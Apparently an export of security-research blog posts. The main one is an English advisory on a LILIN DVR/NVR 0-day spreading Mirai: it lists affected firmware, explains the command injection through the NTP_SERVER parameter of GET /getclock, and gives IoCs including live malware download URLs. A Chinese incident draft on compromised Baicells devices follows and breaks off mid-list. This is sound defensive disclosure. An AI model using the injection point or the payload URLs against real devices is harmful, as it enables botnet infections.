通过所有的检测流程。"}]],"markups":[],"sections":[[1,"h1",[[0,[],0,"背景"]]],[10,0],[10,1],[1,"h2",[[0,[],0,"问题整理"]]],[1,"h3",[[0,[],0,"预处理"]]],[10,2],[1,"h3",[[0,[],0,"抽取C2"]]],[10,3],[1,"h3",[[0,[],0,"指令跟踪"]]],[10,4],[1,"h3",[[0,[],0,"小结："]]],[10,5],[10,6],[1,"h2",[[0,[],0,"定量案例分析"]]],[10,7],[10,8],[1,"p",[[0,[],0,"mat统计显示"]]],[10,9],[1,"p",[[0,[],0,"从实际数据出发，对应上面整理的问题，对样本做定量分析。"]]],[1,"h3",[[0,[],0,"预处理"]]],[10,10],[1,"h3",[[0,[],0,"抽取C2"]]],[10,11],[1,"h3",[[0,[],0,"指令跟踪"]]],[10,12],[1,"h3",[[0,[],0,"小结"]]],[10,13],[10,14],[1,"h2",[[0,[],0,"使用Docker验证跟踪协议"]]],[10,15],[10,16],[10,17],[1,"h3",[[0,[],0,"方案"]]],[10,18],[1,"h3",[[0,[],0,"小结"]]],[10,19],[1,"h3",[[0,[],0,"其它用法："]]],[10,20],[10,21],[1,"h2",[[0,[],0,"结论"]]],[10,22],[1,"h2",[[0,[],0,"目标"]]],[10,23],[1,"p",[]]],"ghostVersion":"3.0"} | 5fbfe046699d440007bba977 |
post | null | 2020-12-03T02:20:14.000Z | 63873b9a8b1c1e0007f52f92 | another-lilin-dvr-0-day-being-used-to-spread-mirai-en | 0 | 2022-02-09T07:07:10.000Z | public | published | null | 2020-12-03T14:00:00.000Z | Another LILIN DVR 0-day being used to spread Mirai | <!--kg-card-begin: markdown--><p><em>Author: <a href="https://twitter.com/_O_owl">Yanlong Ma</a>, <a href="https://twitter.com/zom3y3">Genshen Ye</a></em></p>
<h3 id="backgroundinformation">Background Information</h3>
<p>In March, we reported[<a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day/">1]</a> that multiple botnets, including Chalubo, Fbot,<br>
Moobot were using a same 0 day vulnerability to attack LILIN DVR devices, the<br>
vendor soon fixed the vulnerability.</p>
<p>On August 26, 2020, our Anglerfish honeypot detected that another new LILIN<br>
DVR/NVR 0-day paired with system default credential operxxxx:xxxxx(masked<br>
for security concern) were used to spread Mirai sample.</p>
<p>On September 21, 2020, we reported the finding to the Merit LILIN contact, and<br>
the vendor fixed the vulnerability overnight, and also provided us a firmware fix ver 4.0.26.5618.</p>
<h3 id="impactdevices">Impact devices</h3>
<p>The 360 FirmwareTotal system provides the following firmware list that are<br>
impacted.</p>
<pre><code>DH032 Firmware v1.0.26.3858.zip
DH032 Firmware v1.0.28.3858.zip
DVR708 Firmware v1.3.4.zip
DVR716 Firmware v1.3.4.zip
DVR816 Firmware v1.3.4.zip
Firmware-DH032-EN.zip
Firmware-DVR708-EN.zip
Firmware-DVR716-EN.zip
Firmware-DVR816-EN.zip
Firmware-NVR100L-EN.zip
Firmware-NVR1400-EN.zip
Firmware-NVR200L-EN.zip
Firmware-NVR2400-EN.zip
Firmware-NVR3216-EN.zip
Firmware-NVR3416-EN.zip
Firmware-NVR3416R-EN.zip
Firmware-NVR3816-EN.zip
Firmware-NVR400L-EN.zip
Firmware-NVR5104E-EN.zip
Firmware-NVR5208E-EN.zip
Firmware-NVR5416E-EN.zip
Firmware-NVR5832-EN.zip
Firmware-NVR5832S-EN.zip
NVR 404C Firmware v1.0.48.zip
NVR 404C Firmware v1.0.56.zip
NVR 408M Firmware v1.0.56.zip
NVR100L 200L Rescue File.zip
NVR100L Firmware v1.1.56 - HTML5 Version.zip
NVR100L Firmware v1.1.66.zip
NVR100L Firmware v1.1.74 - Push Notification Fix.zip
NVR100L, 200L Rescue File.zip
NVR100LFirmware.zip
NVR104 Firmware v1.0.48.zip
NVR104 Firmware v1.0.56.zip
NVR109 Firmware v1.0.38.zip
NVR109 Firmware v1.0.48.zip
NVR109 Firmware v1.0.56.zip
NVR116 Firmware v1.0.38.zip
NVR116 Firmware v1.0.48.zip
NVR116 Firmware v1.0.56.zip
NVR1400Firmware.zip
NVR1400L Firmware v1.1.56 - HTML5 Version.zip
NVR1400L Firmware v1.1.66.zip
NVR1400L Firmware v1.1.74 - Push Notification Fix.zip
NVR200L Firmware v1.1.56 - HTML5 Version.zip
NVR200L Firmware v1.1.66.zip
NVR200L Firmware v1.1.74 - Push Notification Fix.zip
NVR200LFirmware.zip
NVR2400Firmware.zip
NVR2400L Firmware v1.1.56 - HTML5 Version.zip
NVR2400L Firmware v1.1.66.zip
NVR2400L Firmware v1.1.74 - Push Notification Fix.zip
NVR3216 Firmware v3.0.74.3921.zip
NVR3216 Recovery Tool.zip
NVR3416 Firmware v3.0.74.3921.zip
NVR3416 Recovery Tool.zip
NVR3416r Firmware v3.0.76.3921.zip
NVR3816 Firmware v2.0.74.3921.zip
NVR400L 1400 2400 Rescue File.zip
NVR400L Firmware v1.1.56 - HTML5 Version.zip
NVR400L Firmware v1.1.66.zip
NVR400L Firmware v1.1.74 - Push Notification Fix.zip
NVR400L, 1400, 2400 Rescue File.zip
NVR5104E Firmware v5.0.24.4078.zip
NVR5104E Recovery Tool.zip
NVR5208E Firmware v5.0.24.4078.zip
NVR5208E Recovery Tool.zip
NVR5416E Firmware v4.0.24.4078.zip
NVR5832 Firmware v4.0.24.4043.zip
NVR5832 Firmware v4.0.24.4043.zip
NVR5832 Recovery Tool.zip
NVR5832S Firmware v4.0.24.4043.zip
NVR5832S Recovery Tool.zip
VD022 Firmware 1.0.48.zip
VD022 Firmware 1.0.56.zip
</code></pre>
<p>The 360 Quake cyberspace mapping system mapped assets across the global<br>
and discovered that there are 1049094 IP addresses of devices with Merit LILIN<br>
DVR/NVR fingerprints (app:"LILIN_DVR") on the public network, and 6748 of<br>
them are considered vulnerable. The vast majority of these devices are located<br>
in Taiwan, China, as shown in the figure below.<br>
<a href="__GHOST_URL__/content/images/2020/12/lilin_world.png"><img src="__GHOST_URL__/content/images/2020/12/lilin_world.png" class="kg-image"/></a></p>
<p><a href="__GHOST_URL__/content/images/2020/12/lilin_china_tongji.png"><img src="__GHOST_URL__/content/images/2020/12/lilin_china_tongji.png" class="kg-image"/></a></p>
<h3 id="vulnerabilityanalysis">Vulnerability Analysis</h3>
<p>Vulnerability Type: Remote Command Execution Vulnerability<br>
Vulnerability detail: The Web service program <code>/opt/extra/main</code> defines a <code>GET /getclock</code> interface for viewing and modifying time-dependent device<br>
configurations. When the <code>/opt/extra/main</code> program is started, the command line<br>
program <code>/mnt/mtd/subapp/syscmd</code> is started and the commands that need to<br>
be executed are passed to syscmd via shared memory.</p>
<ol>
<li>When the value of the incoming parameter cmd is set, the parameter<br>
NTP_SERVER can be used to set the time synchronization server for the device.</li>
<li>The <code>GET /getclock</code> callback function does not check the value of<br>
NTP_SERVER and saves the relevant fields, then it creates a<br>
<code>CMDQ_SET_SYS_TIME</code> message to be pressed into cmdQueue.</li>
<li>The corresponding <code>CMDQ_SET_SYS_TIME</code> message processing function of<br>
cmdQueue reads the relevant fields and splices the following shell command<br>
into the shared memory, resulting in a remote command execution vulnerability.</li>
</ol>
<pre><code class="language-sh">/opt/extra/subapp/ntpclient -s -t -h %s > %s &", v4, "/tmp/ntp.dat"
</code></pre>
<p>Vulnerability Fix: In the updated firmware, we notice that before saving the<br>
<code>NTP_SERVER</code> parameter, the <code>resolve_ip()</code> function is called to encapsulate the<br>
<code>inet_aton()</code> function to check if the input is a correct IP address.<br>
The process is as follows.</p>
<ol>
<li>For parameters in URL format, <code>libadns.so</code> library is called for domain name<br>
resolving, if it success, the ip address is written into ipAddr and return True; otherwise return False.</li>
<li>For IP addresses, write directly to ipAddr and return True.<br>
<img src="__GHOST_URL__/content/images/2020/12/bug_fix.png" alt="bug_fix" loading="lazy"></li>
</ol>
<h3 id="recommendations">Recommendations</h3>
<p>We recommend that Merit LILIN DVR/NVR users check and update the firmware<br>
system and set strong login credentials for the devices.</p>
<p>We recommend users monitor and block the urls on the IoC list.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or email to netlab at 360<br>
dot cn.</p>
<h3 id="ioclist">IoC list</h3>
<p>MD5</p>
<pre><code>0bf1fd0cfa9ced2d95e17f4d9cf10d34
1c3b2a0738476c609656515c5422002e
1c7735dba999c106197bb8defb143925
1f56696725930ae35428fbdb7c953ce0
2b1e0f7a3fcf3478ea726a3b04a9e601
6e90346591e95a623c8a16695c1b36cd
7d8fb579f1d3a4320fcc5e712970d84e
8b8800449bf9729e00b41729632699f6
8f481d0da94b964e4061cd96892386d4
20b89f0640215b0180b357ce2d07dc10
43c477a3df65c2ecd4580dc944208d59
51de7b96b43a4062d578561becff713c
60d6a7a725221e7772dbd192aaa3f872
267e120fc765784f852ed6b2fa939f46
614ca6d9c18fe15db1e8683c9e5caeb8
64714ff03f088a9702faf9adbdc9f2d6
32887409ed42e8e6df21c5600e572102
a18266a67bbf45d8bb19bd6f46519587
afdb1f3312b3029143e9f2d09b92f2a1
ce8bf6ed38037792e25160a37b23cd4f
f9887d332e35f9901ef507f88b5e06cb
fcaff61a5de5e44083555a29ee4f5246
feaf1296790d3e1becef913add8ba542
</code></pre>
<p>URL</p>
<pre><code>http://2.57.122.167:5858/f
http://2.57.122.167:5858/uwu/arm
http://2.57.122.167:5858/uwu/arm5
http://2.57.122.167:5858/uwu/arm6
http://2.57.122.167:5858/uwu/arm7
http://2.57.122.167:5858/uwu/m68k
http://2.57.122.167:5858/uwu/mips
http://2.57.122.167:5858/uwu/mpsl
http://2.57.122.167:5858/uwu/ppc
http://2.57.122.167:5858/uwu/sh4
http://2.57.122.167:5858/uwu/spc
http://2.57.122.167:5858/uwu/x86
http://2.57.122.167:5858/webos/whoareyou.arm
http://2.57.122.167:5858/webos/whoareyou.arm5
http://2.57.122.167:5858/webos/whoareyou.arm6
http://2.57.122.167:5858/webos/whoareyou.arm7
http://2.57.122.167:5858/webos/whoareyou.m68k
http://2.57.122.167:5858/webos/whoareyou.mips
http://2.57.122.167:5858/webos/whoareyou.mpsl
http://2.57.122.167:5858/webos/whoareyou.ppc
http://2.57.122.167:5858/webos/whoareyou.sh4
http://2.57.122.167:5858/webos/whoareyou.spc
http://2.57.122.167:5858/webos/whoareyou.x86
</code></pre>
<p>IP</p>
<pre><code>2.57.122.167 Romania ASN48090 Pptechnology Limited
</code></pre>
<!--kg-card-end: markdown--> | Author: Yanlong Ma, Genshen Ye
Background Information
In March, we reported[1] that multiple botnets, including Chalubo, Fbot,
Moobot were using a same 0 day vulnerability to attack LILIN DVR devices, the
vendor soon fixed the vulnerability.
On August 26, 2020, our Anglerfish honeypot detected that another new LILIN
DVR/NVR 0-day paired with system default credential operxxxx:xxxxx(masked
for security concern) were used to spread Mirai sample.
On September 21, 2020, we reported the finding to the Merit LILIN contact, and
the vendor fixed the vulnerability overnight, and also provided us a firmware fix ver 4.0.26.5618.
Impact devices
The 360 FirmwareTotal system provides the following firmware list that are
impacted.
DH032 Firmware v1.0.26.3858.zip
DH032 Firmware v1.0.28.3858.zip
DVR708 Firmware v1.3.4.zip
DVR716 Firmware v1.3.4.zip
DVR816 Firmware v1.3.4.zip
Firmware-DH032-EN.zip
Firmware-DVR708-EN.zip
Firmware-DVR716-EN.zip
Firmware-DVR816-EN.zip
Firmware-NVR100L-EN.zip
Firmware-NVR1400-EN.zip
Firmware-NVR200L-EN.zip
Firmware-NVR2400-EN.zip
Firmware-NVR3216-EN.zip
Firmware-NVR3416-EN.zip
Firmware-NVR3416R-EN.zip
Firmware-NVR3816-EN.zip
Firmware-NVR400L-EN.zip
Firmware-NVR5104E-EN.zip
Firmware-NVR5208E-EN.zip
Firmware-NVR5416E-EN.zip
Firmware-NVR5832-EN.zip
Firmware-NVR5832S-EN.zip
NVR 404C Firmware v1.0.48.zip
NVR 404C Firmware v1.0.56.zip
NVR 408M Firmware v1.0.56.zip
NVR100L 200L Rescue File.zip
NVR100L Firmware v1.1.56 - HTML5 Version.zip
NVR100L Firmware v1.1.66.zip
NVR100L Firmware v1.1.74 - Push Notification Fix.zip
NVR100L, 200L Rescue File.zip
NVR100LFirmware.zip
NVR104 Firmware v1.0.48.zip
NVR104 Firmware v1.0.56.zip
NVR109 Firmware v1.0.38.zip
NVR109 Firmware v1.0.48.zip
NVR109 Firmware v1.0.56.zip
NVR116 Firmware v1.0.38.zip
NVR116 Firmware v1.0.48.zip
NVR116 Firmware v1.0.56.zip
NVR1400Firmware.zip
NVR1400L Firmware v1.1.56 - HTML5 Version.zip
NVR1400L Firmware v1.1.66.zip
NVR1400L Firmware v1.1.74 - Push Notification Fix.zip
NVR200L Firmware v1.1.56 - HTML5 Version.zip
NVR200L Firmware v1.1.66.zip
NVR200L Firmware v1.1.74 - Push Notification Fix.zip
NVR200LFirmware.zip
NVR2400Firmware.zip
NVR2400L Firmware v1.1.56 - HTML5 Version.zip
NVR2400L Firmware v1.1.66.zip
NVR2400L Firmware v1.1.74 - Push Notification Fix.zip
NVR3216 Firmware v3.0.74.3921.zip
NVR3216 Recovery Tool.zip
NVR3416 Firmware v3.0.74.3921.zip
NVR3416 Recovery Tool.zip
NVR3416r Firmware v3.0.76.3921.zip
NVR3816 Firmware v2.0.74.3921.zip
NVR400L 1400 2400 Rescue File.zip
NVR400L Firmware v1.1.56 - HTML5 Version.zip
NVR400L Firmware v1.1.66.zip
NVR400L Firmware v1.1.74 - Push Notification Fix.zip
NVR400L, 1400, 2400 Rescue File.zip
NVR5104E Firmware v5.0.24.4078.zip
NVR5104E Recovery Tool.zip
NVR5208E Firmware v5.0.24.4078.zip
NVR5208E Recovery Tool.zip
NVR5416E Firmware v4.0.24.4078.zip
NVR5832 Firmware v4.0.24.4043.zip
NVR5832 Firmware v4.0.24.4043.zip
NVR5832 Recovery Tool.zip
NVR5832S Firmware v4.0.24.4043.zip
NVR5832S Recovery Tool.zip
VD022 Firmware 1.0.48.zip
VD022 Firmware 1.0.56.zip
The 360 Quake cyberspace mapping system mapped assets across the global
and discovered that there are 1049094 IP addresses of devices with Merit LILIN
DVR/NVR fingerprints (app:"LILIN_DVR") on the public network, and 6748 of
them are considered vulnerable. The vast majority of these devices are located
in Taiwan, China, as shown in the figure below.
Vulnerability Analysis
Vulnerability Type: Remote Command Execution Vulnerability
Vulnerability detail: The Web service program /opt/extra/main defines a GET /getclock interface for viewing and modifying time-dependent device
configurations. When the /opt/extra/main program is started, the command line
program /mnt/mtd/subapp/syscmd is started and the commands that need to
be executed are passed to syscmd via shared memory.
1. When the value of the incoming parameter cmd is set, the parameter
NTP_SERVER can be used to set the time synchronization server for the device.
2. The GET /getclock callback function does not check the value of
NTP_SERVER and saves the relevant fields, then it creates a
CMDQ_SET_SYS_TIME message to be pressed into cmdQueue.
3. The corresponding CMDQ_SET_SYS_TIME message processing function of
cmdQueue reads the relevant fields and splices the following shell command
into the shared memory, resulting in a remote command execution vulnerability.
/opt/extra/subapp/ntpclient -s -t -h %s > %s &", v4, "/tmp/ntp.dat"
Vulnerability Fix: In the updated firmware, we notice that before saving the
NTP_SERVER parameter, the resolve_ip() function is called to encapsulate the
inet_aton() function to check if the input is a correct IP address.
The process is as follows.
1. For parameters in URL format, libadns.so library is called for domain name
resolving, if it success, the ip address is written into ipAddr and return True; otherwise return False.
2. For IP addresses, write directly to ipAddr and return True.
Recommendations
We recommend that Merit LILIN DVR/NVR users check and update the firmware
system and set strong login credentials for the devices.
We recommend users monitor and block the urls on the IoC list.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360
dot cn.
IoC list
MD5
0bf1fd0cfa9ced2d95e17f4d9cf10d34
1c3b2a0738476c609656515c5422002e
1c7735dba999c106197bb8defb143925
1f56696725930ae35428fbdb7c953ce0
2b1e0f7a3fcf3478ea726a3b04a9e601
6e90346591e95a623c8a16695c1b36cd
7d8fb579f1d3a4320fcc5e712970d84e
8b8800449bf9729e00b41729632699f6
8f481d0da94b964e4061cd96892386d4
20b89f0640215b0180b357ce2d07dc10
43c477a3df65c2ecd4580dc944208d59
51de7b96b43a4062d578561becff713c
60d6a7a725221e7772dbd192aaa3f872
267e120fc765784f852ed6b2fa939f46
614ca6d9c18fe15db1e8683c9e5caeb8
64714ff03f088a9702faf9adbdc9f2d6
32887409ed42e8e6df21c5600e572102
a18266a67bbf45d8bb19bd6f46519587
afdb1f3312b3029143e9f2d09b92f2a1
ce8bf6ed38037792e25160a37b23cd4f
f9887d332e35f9901ef507f88b5e06cb
fcaff61a5de5e44083555a29ee4f5246
feaf1296790d3e1becef913add8ba542
URL
http://2.57.122.167:5858/f
http://2.57.122.167:5858/uwu/arm
http://2.57.122.167:5858/uwu/arm5
http://2.57.122.167:5858/uwu/arm6
http://2.57.122.167:5858/uwu/arm7
http://2.57.122.167:5858/uwu/m68k
http://2.57.122.167:5858/uwu/mips
http://2.57.122.167:5858/uwu/mpsl
http://2.57.122.167:5858/uwu/ppc
http://2.57.122.167:5858/uwu/sh4
http://2.57.122.167:5858/uwu/spc
http://2.57.122.167:5858/uwu/x86
http://2.57.122.167:5858/webos/whoareyou.arm
http://2.57.122.167:5858/webos/whoareyou.arm5
http://2.57.122.167:5858/webos/whoareyou.arm6
http://2.57.122.167:5858/webos/whoareyou.arm7
http://2.57.122.167:5858/webos/whoareyou.m68k
http://2.57.122.167:5858/webos/whoareyou.mips
http://2.57.122.167:5858/webos/whoareyou.mpsl
http://2.57.122.167:5858/webos/whoareyou.ppc
http://2.57.122.167:5858/webos/whoareyou.sh4
http://2.57.122.167:5858/webos/whoareyou.spc
http://2.57.122.167:5858/webos/whoareyou.x86
IP
2.57.122.167 Romania ASN48090 Pptechnology Limited
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*Author: [Yanlong Ma](https://twitter.com/_O_owl), [Genshen Ye](https://twitter.com/zom3y3)*\n\n### Background Information\nIn March, we reported[[1\\]](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day/) that multiple botnets, including Chalubo, Fbot,\nMoobot were using a same 0 day vulnerability to attack LILIN DVR devices, the\nvendor soon fixed the vulnerability. \n\nOn August 26, 2020, our Anglerfish honeypot detected that another new LILIN\nDVR/NVR 0-day paired with system default credential operxxxx:xxxxx(masked\nfor security concern) were used to spread Mirai sample.\n\nOn September 21, 2020, we reported the finding to the Merit LILIN contact, and\nthe vendor fixed the vulnerability overnight, and also provided us a firmware fix ver 4.0.26.5618.\n\n### Impact devices\nThe 360 FirmwareTotal system provides the following firmware list that are\nimpacted.\n```\nDH032 Firmware v1.0.26.3858.zip \nDH032 Firmware v1.0.28.3858.zip \nDVR708 Firmware v1.3.4.zip \nDVR716 Firmware v1.3.4.zip \nDVR816 Firmware v1.3.4.zip \nFirmware-DH032-EN.zip \nFirmware-DVR708-EN.zip \nFirmware-DVR716-EN.zip \nFirmware-DVR816-EN.zip \nFirmware-NVR100L-EN.zip \nFirmware-NVR1400-EN.zip \nFirmware-NVR200L-EN.zip \nFirmware-NVR2400-EN.zip \nFirmware-NVR3216-EN.zip \nFirmware-NVR3416-EN.zip \nFirmware-NVR3416R-EN.zip \nFirmware-NVR3816-EN.zip \nFirmware-NVR400L-EN.zip \nFirmware-NVR5104E-EN.zip \nFirmware-NVR5208E-EN.zip \nFirmware-NVR5416E-EN.zip \nFirmware-NVR5832-EN.zip \nFirmware-NVR5832S-EN.zip \nNVR 404C Firmware v1.0.48.zip \nNVR 404C Firmware v1.0.56.zip \nNVR 408M Firmware v1.0.56.zip \nNVR100L 200L Rescue File.zip \nNVR100L Firmware v1.1.56 - HTML5 Version.zip \nNVR100L Firmware v1.1.66.zip \nNVR100L Firmware v1.1.74 - Push Notification Fix.zip \nNVR100L, 200L Rescue File.zip \nNVR100LFirmware.zip \nNVR104 Firmware v1.0.48.zip \nNVR104 Firmware v1.0.56.zip \nNVR109 Firmware v1.0.38.zip \nNVR109 Firmware v1.0.48.zip \nNVR109 Firmware v1.0.56.zip \nNVR116 Firmware v1.0.38.zip \nNVR116 Firmware v1.0.48.zip \nNVR116 Firmware v1.0.56.zip \nNVR1400Firmware.zip \nNVR1400L Firmware v1.1.56 - HTML5 Version.zip \nNVR1400L Firmware v1.1.66.zip \nNVR1400L Firmware v1.1.74 - Push Notification Fix.zip\nNVR200L Firmware v1.1.56 - HTML5 Version.zip \nNVR200L Firmware v1.1.66.zip \nNVR200L Firmware v1.1.74 - Push Notification Fix.zip \nNVR200LFirmware.zip \nNVR2400Firmware.zip \nNVR2400L Firmware v1.1.56 - HTML5 Version.zip \nNVR2400L Firmware v1.1.66.zip \nNVR2400L Firmware v1.1.74 - Push Notification Fix.zip\nNVR3216 Firmware v3.0.74.3921.zip \nNVR3216 Recovery Tool.zip \nNVR3416 Firmware v3.0.74.3921.zip \nNVR3416 Recovery Tool.zip \nNVR3416r Firmware v3.0.76.3921.zip \nNVR3816 Firmware v2.0.74.3921.zip \nNVR400L 1400 2400 Rescue File.zip \nNVR400L Firmware v1.1.56 - HTML5 Version.zip \nNVR400L Firmware v1.1.66.zip \nNVR400L Firmware v1.1.74 - Push Notification Fix.zip \nNVR400L, 1400, 2400 Rescue File.zip \nNVR5104E Firmware v5.0.24.4078.zip \nNVR5104E Recovery Tool.zip \nNVR5208E Firmware v5.0.24.4078.zip \nNVR5208E Recovery Tool.zip \nNVR5416E Firmware v4.0.24.4078.zip \nNVR5832 Firmware v4.0.24.4043.zip \nNVR5832 Firmware v4.0.24.4043.zip \nNVR5832 Recovery Tool.zip \nNVR5832S Firmware v4.0.24.4043.zip \nNVR5832S Recovery Tool.zip \nVD022 Firmware 1.0.48.zip \nVD022 Firmware 1.0.56.zip \n```\n\nThe 360 Quake cyberspace mapping system mapped assets across the global\nand discovered that there are 1049094 IP addresses of devices with Merit LILIN\nDVR/NVR fingerprints (app:\"LILIN_DVR\") on the public network, and 6748 of\nthem are considered vulnerable. The vast majority of these devices are located\nin Taiwan, China, as shown in the figure below.\n<a href=\"__GHOST_URL__/content/images/2020/12/lilin_world.png\"><img src=\"__GHOST_URL__/content/images/2020/12/lilin_world.png\" class=\"kg-image\"/></a>\n\n<a href=\"__GHOST_URL__/content/images/2020/12/lilin_china_tongji.png\"><img src=\"__GHOST_URL__/content/images/2020/12/lilin_china_tongji.png\" class=\"kg-image\"/></a>\n\n### Vulnerability Analysis\nVulnerability Type: Remote Command Execution Vulnerability\nVulnerability detail: The Web service program `/opt/extra/main` defines a `GET /getclock` interface for viewing and modifying time-dependent device\nconfigurations. When the `/opt/extra/main` program is started, the command line\nprogram `/mnt/mtd/subapp/syscmd` is started and the commands that need to\nbe executed are passed to syscmd via shared memory.\n\n1. When the value of the incoming parameter cmd is set, the parameter\nNTP_SERVER can be used to set the time synchronization server for the device.\n2. The `GET /getclock` callback function does not check the value of\nNTP_SERVER and saves the relevant fields, then it creates a\n`CMDQ_SET_SYS_TIME` message to be pressed into cmdQueue.\n3. The corresponding `CMDQ_SET_SYS_TIME` message processing function of\ncmdQueue reads the relevant fields and splices the following shell command\ninto the shared memory, resulting in a remote command execution vulnerability.\n```sh\n/opt/extra/subapp/ntpclient -s -t -h %s > %s &\", v4, \"/tmp/ntp.dat\"\n```\n\nVulnerability Fix: In the updated firmware, we notice that before saving the\n`NTP_SERVER` parameter, the `resolve_ip()` function is called to encapsulate the\n`inet_aton()` function to check if the input is a correct IP address.\nThe process is as follows.\n1. For parameters in URL format, `libadns.so` library is called for domain name\nresolving, if it success, the ip address is written into ipAddr and return True; otherwise return False.\n2. For IP addresses, write directly to ipAddr and return True.\n\n\n\n### Recommendations\nWe recommend that Merit LILIN DVR/NVR users check and update the firmware\nsystem and set strong login credentials for the devices.\n\nWe recommend users monitor and block the urls on the IoC list.\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or email to netlab at 360\ndot cn.\n\n### IoC list\n\nMD5\n```\n0bf1fd0cfa9ced2d95e17f4d9cf10d34\n1c3b2a0738476c609656515c5422002e\n1c7735dba999c106197bb8defb143925\n1f56696725930ae35428fbdb7c953ce0\n2b1e0f7a3fcf3478ea726a3b04a9e601\n6e90346591e95a623c8a16695c1b36cd\n7d8fb579f1d3a4320fcc5e712970d84e\n8b8800449bf9729e00b41729632699f6\n8f481d0da94b964e4061cd96892386d4\n20b89f0640215b0180b357ce2d07dc10\n43c477a3df65c2ecd4580dc944208d59\n51de7b96b43a4062d578561becff713c\n60d6a7a725221e7772dbd192aaa3f872\n267e120fc765784f852ed6b2fa939f46\n614ca6d9c18fe15db1e8683c9e5caeb8\n64714ff03f088a9702faf9adbdc9f2d6\n32887409ed42e8e6df21c5600e572102\na18266a67bbf45d8bb19bd6f46519587\nafdb1f3312b3029143e9f2d09b92f2a1\nce8bf6ed38037792e25160a37b23cd4f\nf9887d332e35f9901ef507f88b5e06cb\nfcaff61a5de5e44083555a29ee4f5246\nfeaf1296790d3e1becef913add8ba542\n```\n\nURL\n```\nhttp://2.57.122.167:5858/f\nhttp://2.57.122.167:5858/uwu/arm\nhttp://2.57.122.167:5858/uwu/arm5\nhttp://2.57.122.167:5858/uwu/arm6\nhttp://2.57.122.167:5858/uwu/arm7\nhttp://2.57.122.167:5858/uwu/m68k\nhttp://2.57.122.167:5858/uwu/mips\nhttp://2.57.122.167:5858/uwu/mpsl\nhttp://2.57.122.167:5858/uwu/ppc\nhttp://2.57.122.167:5858/uwu/sh4\nhttp://2.57.122.167:5858/uwu/spc\nhttp://2.57.122.167:5858/uwu/x86\nhttp://2.57.122.167:5858/webos/whoareyou.arm\nhttp://2.57.122.167:5858/webos/whoareyou.arm5\nhttp://2.57.122.167:5858/webos/whoareyou.arm6\nhttp://2.57.122.167:5858/webos/whoareyou.arm7\nhttp://2.57.122.167:5858/webos/whoareyou.m68k\nhttp://2.57.122.167:5858/webos/whoareyou.mips\nhttp://2.57.122.167:5858/webos/whoareyou.mpsl\nhttp://2.57.122.167:5858/webos/whoareyou.ppc\nhttp://2.57.122.167:5858/webos/whoareyou.sh4\nhttp://2.57.122.167:5858/webos/whoareyou.spc\nhttp://2.57.122.167:5858/webos/whoareyou.x86\n```\n\nIP\n```\n2.57.122.167 \tRomania \tASN48090 \tPptechnology Limited\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5fc84b5e699d440007bbaba6 |
post | null | 2020-12-25T01:50:26.000Z | 63873b9a8b1c1e0007f52f93 | baicells_tips | 0 | 2020-12-26T07:52:13.000Z | public | draft | null | null | 佰才邦应急记录 | <!--kg-card-begin: markdown--><h1 id="">综述</h1>
<h1 id="">缘起</h1>
<h1 id="">涉事现象</h1>
<p>据苦主介绍，他们销售的一些设备于近日出现故障，系统无法正常登录，及操作配置。怀疑系统命令被删除。故障截图如下：</p>
<p><img src="__GHOST_URL__/content/images/2020/12/problem-1.png" alt="problem-1" loading="lazy"></p>
<p>正常情况下 start-shell 后会启动一个 Shell 控制台供管理员管理基站，但受害后，则无法进入控制台。</p>
<p>在随后的跟进中，我们还发现，受害机器的80端口也无法正常使用，报错如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2020/12/http_problem.png" alt="http_problem" loading="lazy"></p>
<p>这个截图显示，haserl 命令也无法执行，在涉事基站的管理中这是一个重要的命令。</p>
<p>基于以上了解，我方需要苦主，提供以下资料：</p>
<ol>
<li>一个全部瘫痪设备的IP list。用于评估影响范围。</li>
<li>受害前后的文件系统，用于对比，实现攻击路径回溯。</li>
<li>一个在线的测试环境，用于验证发现，固化结论。</li>
</ol>
<p>基于以上信息，我们开始对该事件进行调查。</p>
<h1 id="">初步线索</h1>
<p>拿到受害后文件系统后，我们快速的远程过了一遍，在 web 服务根目录下发现可疑文件hoho.arm7，事后证明，该文件是一条重要的线索，如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2020/12/first_hoho_sample.png" alt="first_hoho_sample" loading="lazy"></p>
<p>但该文件的植入方式，在文件系统中并没有日志留存，基于苦主的资料很难继续还原攻击者实际的进入途径。</p>
<p>但在本部门的图系统中，我们惊喜的发现：该样本竟于2天前被我们自有的 Anglerfish 蜜罐系统捕获（该样本并未出现在VT中）。系统显示，这是一个基于 Telnet 服务传播的MIRAI变种样本。如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2020/12/hoho_graph.png" alt="hoho_graph" loading="lazy"></p>
<p>但是该样本也让我们产生了新的困惑：</p>
<p>一方面，受害系统并没有开放telnet服务。 但另一方面，系统显示样本确实是通过 Telnet弱口令扫描传播的，样本本身也具有telnet弱口令扫描的能力；同时，样本中并没有除telnet以外其他的传播能力，即不会通过其他服务传播。</p>
<p>这就意味着，以下几种可能：</p>
<ol>
<li>系统可能会在某些条件下自发打开telnet服务；</li>
<li>系统中还拥有其他未知漏洞，能够启动 telnet 服务。</li>
<li>系统中可能还有其他未知漏洞，可以植入hoho样本；</li>
</ol>
<p>（PS： 2 和 3 的区别在于，3 对应的是一个通用漏洞，可以执行系统命令；而 2 则对应着是一个只能启动 telnet 服务而无法执行其他操作的漏洞。从攻击效果上看，2 应该是 3 的一个子集。）</p>
<p>基于以上可能性，我们将调查集中到三个方向：</p>
<ol>
<li>围绕 telnet 服务展开调查；</li>
<li>汇总设备暴露在外的攻击面，挖掘潜在可能存在漏洞的服务。</li>
<li>虽然 hoho.arm7 出现在现场，但不代表这个坏事就是它干的，需要证据。</li>
</ol>
<h1 id="">确定调查方向</h1>
<p>基于可能性：我们首先将关注点集中在 telnet服务 上，重新调查文件系统中各文件，最终得到以下事实：</p>
<ol>
<li>/bin/busybox 包含了telnetd 命令，链接位置 /usr/sbin/telnetd。</li>
